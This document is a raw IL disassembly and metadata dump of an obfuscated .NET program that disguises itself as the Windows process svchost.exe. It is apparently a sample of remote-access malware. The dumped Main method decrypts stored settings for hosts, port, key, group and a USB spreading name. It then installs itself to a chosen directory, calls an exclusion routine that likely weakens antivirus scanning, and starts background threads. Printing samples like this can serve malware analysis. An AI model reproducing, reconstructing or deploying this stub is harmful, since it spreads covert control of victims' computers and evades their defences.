switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 -830919920 ldc.i4 -1151935049 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_431e3ba207164089aa7901503c8f9196 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldc.i4 -146499275 ldc.i4 -112577482 add <null> ldc.i4 -495944183 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_48fc0e3d2f1045eebda11602c405c0a7 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.s V_17 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldc.i4 -758686241 ldc.i4 -619454025 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0b195c64432247deb96ea38d739b4747 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI) ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3 call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_915835602374416d9c01f2036c561824 brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 4 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_14 ldsfld y7Rnk2HlR4ZaIw7br64 y7Rnk2HlR4ZaIw7br64::haAHXJYc5L call System.Void y7Rnk2HlR4ZaIw7br64::xZ9Xnyn2eH(System.Object,y7Rnk2HlR4ZaIw7br64) ldc.i4 8 stloc V_0 br IL_05E4: ldloc V_0 br IL_0704: ldloc.s V_8 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e5d0b7ab14c348f89e2daa40872dece4 brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 1 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.1 <null> ldsfld bPuES4XzDykOPut5OH4 bPuES4XzDykOPut5OH4::IS6HNqhZDE call System.Void bPuES4XzDykOPut5OH4::xZ9Xnyn2eH(System.Object,System.Diagnostics.ProcessWindowStyle,bPuES4XzDykOPut5OH4) ldc.i4 2 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_12 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_46bda5a28d3c4ae898d8b974b7e5c526 brfalse IL_0876: switch(IL_08B1,IL_0888) pop <null> ldc.i4 1 br IL_0876: switch(IL_08B1,IL_0888) ldloc V_5 switch dnlib.DotNet.Emit.Instruction[] br IL_08B1: leave IL_02F1 ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8 brtrue IL_0876: switch(IL_08B1,IL_0888) pop <null> ldc.i4 0 br IL_0876: switch(IL_08B1,IL_0888) leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() ldc.i4 2 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3 brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 3 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_a2c6c08eb7574184935e223cb1287b5d brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 0 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_1 ldc.i4 2 stloc V_16 br IL_0015: ldloc V_16 call System.Void KbKRAxvsogQsaUeKqUF.A6gx6dvfJql0smO2B5d::kLjw4iIsCLsZtxc4lksN0j() ldc.i4 16 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_2 ldsfld OJFEOoHamXYX7td0S3p OJFEOoHamXYX7td0S3p::KtCHuSKKUR call System.Void OJFEOoHamXYX7td0S3p::xZ9Xnyn2eH(System.Object,OJFEOoHamXYX7td0S3p) ldc.i4 11 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_2 ldc.i4 10 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_2094e23594db47de96097844ae2ddb61 brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 8 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_1 ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 8 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0332813b65b0498d88025656d114c5be brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 1 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() brfalse IL_0577: ldc.i4.0 ldc.i4 14 stloc V_16 br IL_0015: ldloc V_16
Module Name	svchost.exe
Full Name	svchost.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	svchost.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	svchost
Assembly Version	10.0.26100.4343
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	47
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	553
Main IL	br.s IL_0007: ldc.i4 17 call <null> ldc.i4 17 stloc V_16 br IL_0015: ldloc V_16 ldloc V_16 switch dnlib.DotNet.Emit.Instruction[] br IL_093F: ldloc.s V_2 nop <null> ldloc.s V_17 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld bDX0MAXYvw2igUU0YW9 bDX0MAXYvw2igUU0YW9::NulXCAhw0K call System.IO.DirectoryInfo bDX0MAXYvw2igUU0YW9::xZ9Xnyn2eH(System.Object,bDX0MAXYvw2igUU0YW9) ldsfld Lbt5sZXfmW3L15sThof Lbt5sZXfmW3L15sThof::rk9XsIbM0H call System.String Lbt5sZXfmW3L15sThof::xZ9Xnyn2eH(System.Object,Lbt5sZXfmW3L15sThof) stloc.s V_4 ldc.i4 5 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc V_9 switch dnlib.DotNet.Emit.Instruction[] br IL_0114: ldc.i4 1000 br IL_01B4: ldloc.s V_17 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85 brtrue IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 0 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_11 ldsfld HTBvgoXeuIgHAFfv0XO HTBvgoXeuIgHAFfv0XO::MmwXgV6hRO call System.Void HTBvgoXeuIgHAFfv0XO::xZ9Xnyn2eH(System.Object,HTBvgoXeuIgHAFfv0XO) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_f5ff1992e3f84f769351025df75f9a1c brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 0 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldc.i4 1000 ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0 call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7) ldc.i4 4 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8 brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 7 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_4 ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld URRxqLX6429FEw9eAwy URRxqLX6429FEw9eAwy::zCFXIjgWBX call System.IO.DirectoryInfo URRxqLX6429FEw9eAwy::xZ9Xnyn2eH(System.String,URRxqLX6429FEw9eAwy) pop <null> ldc.i4 3 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 1 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldc.i4 2 stloc V_9 br IL_0093: ldloc V_9 ldloc.s V_4 ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld HtMPaCXZstxwWhvwuOT HtMPaCXZstxwWhvwuOT::rBpXRvYhg7 call System.Boolean HtMPaCXZstxwWhvwuOT::xZ9Xnyn2eH(System.String,HtMPaCXZstxwWhvwuOT) brfalse IL_0142: ldloc.s V_4 ldc.i4 8 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 ldsfld zSeWCXX1MDoXySrt5nX zSeWCXX1MDoXySrt5nX::eUGX5l4ZBn call System.Boolean zSeWCXX1MDoXySrt5nX::xZ9Xnyn2eH(System.String,zSeWCXX1MDoXySrt5nX) brfalse IL_0114: ldc.i4 1000 ldc.i4 6 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 ldsfld System.Object aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::njxKBOPeC6 ldsfld NaETWMXShAewxOfDjTS NaETWMXShAewxOfDjTS::YctXDYMDZW call System.Byte[] NaETWMXShAewxOfDjTS::xZ9Xnyn2eH(System.String,NaETWMXShAewxOfDjTS) ldsfld QHRFRfXmxdSILqtpnry QHRFRfXmxdSILqtpnry::zitXErOVnp call System.Void QHRFRfXmxdSILqtpnry::xZ9Xnyn2eH(System.String,System.Byte[],QHRFRfXmxdSILqtpnry) ldc.i4 4 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) leave IL_05B8: ldc.i4 1515351469 dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_6 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3 brfalse IL_0229: switch(IL_0264,IL_023B) pop <null> ldc.i4 1 br IL_0229: switch(IL_0264,IL_023B) ldloc V_15 switch dnlib.DotNet.Emit.Instruction[] br IL_0264: leave IL_05B8 ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85 brtrue IL_0229: switch(IL_0264,IL_023B) pop <null> ldc.i4 0 br IL_0229: switch(IL_0264,IL_023B) leave IL_05B8: ldc.i4 1515351469 ldc.i4 4 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldsfld System.String Settings::InstallDir ldc.i4 1757912505 ldc.i4 52242211 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e396f081bf914ecba83adfbae46920ce xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) ldsfld System.String Settings::InstallStr ldsfld JHw8FKXAN9TDbEEJrm7 JHw8FKXAN9TDbEEJrm7::JGjXTVVSxT call System.String JHw8FKXAN9TDbEEJrm7::xZ9Xnyn2eH(System.String,System.String,System.String,JHw8FKXAN9TDbEEJrm7) stloc.s V_17 ldc.i4 15 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0 call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7) ldc.i4 9 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 1 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) br IL_0568: call System.Void Stub.Main::Exclusion() ldc.i4 6 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() ldc.i4 7 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) nop <null> ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Hosts ldc.i4 5 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_046D: ldsfld System.String Settings::Groub ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::SPL ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e3dfa73ffe164ab492fdd0f667bd3368 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 0 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld qsl8wGXB2raAVlNWqvu qsl8wGXB2raAVlNWqvu::xASXktxQ9k call System.String qsl8wGXB2raAVlNWqvu::xZ9Xnyn2eH(System.String,qsl8wGXB2raAVlNWqvu) stsfld System.String Settings::InstallDir ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 1 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::USBNM ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1846a924e3a844fdb2bf9a8c0a11b159 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 3 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::KEY ldc.i4 4 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Port ldc.i4 2 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::InstallStr ldc.i4 6 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Groub ldc.i4 7 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d4e53517e53f4322a01129fd1400ecee brfalse IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 7 br IL_0328: 